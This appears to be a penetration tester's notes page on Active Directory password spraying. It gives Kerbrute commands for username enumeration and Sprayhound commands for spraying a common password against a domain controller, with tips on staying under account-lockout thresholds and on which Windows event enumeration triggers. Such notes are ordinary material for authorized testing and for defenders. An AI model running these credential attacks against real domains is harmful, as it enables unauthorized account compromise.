> For the complete documentation index, see [llms.txt](https://notes.sixthcyber.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.sixthcyber.com/active-directory/active-directory-password-spraying.md).

# Active Directory Password Spraying

## Username Enumeration

### Kerbrute

**Install**

```bash
go install github.com/ropnop/kerbrute@latest
```

**Enumerate usernames from list**

```
kerbrute userenum -d $ADDOMAIN usernames.txt -o username-enum-results.txt
```

{% hint style="info" %}
To enumerate usernames, Kerbrute sends TGT requests with no pre-authentication. If the KDC responds with a `PRINCIPAL UNKNOWN` error, the username does not exist. However, if the KDC prompts for pre-authentication, we know the username exists and we move on. This does not cause any login failures so it will not lock out any accounts. **This generates a Windows event ID** [**4768**](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4768) **if Kerberos logging is enabled**.
{% endhint %}

## Password Spraying

**Install Sprayhound**

```bash
# Kali Linux
sudo apt install sprayhound -y

# Non-Kali
pipx install git+https://github.com/Hackndo/sprayhound.git
```

**Run (Unauthenticated)**

```bash
sprayhound -U userlist.txt -d $ADDOMAIN -dc $ADCONTROLLER -p 'Summer2024'
```

{% hint style="danger" %}
Be careful not to lockout accounts! Unauthenticated has no checks for bad password count!
{% endhint %}

**Run (Authenticated)**

```bash
sprayhound -U userlist.txt -lu $ADUSER -lp $(PSWPRMPT) -t 2 -d $ADDOMAIN -dc $ADCONTROLLER -p 'Summer2024';PSW=""
```

{% hint style="info" %}
`-t 2` is used to stop the guessing when you are two attempts away from the lockout
{% endhint %}

{% hint style="info" %}
Note that the lockout count will only reset with a valid login even if there is a rule allow more failed attempts after a certain amount of time. Therefore, this doesn't allow you to spay at max frequency.
{% endhint %}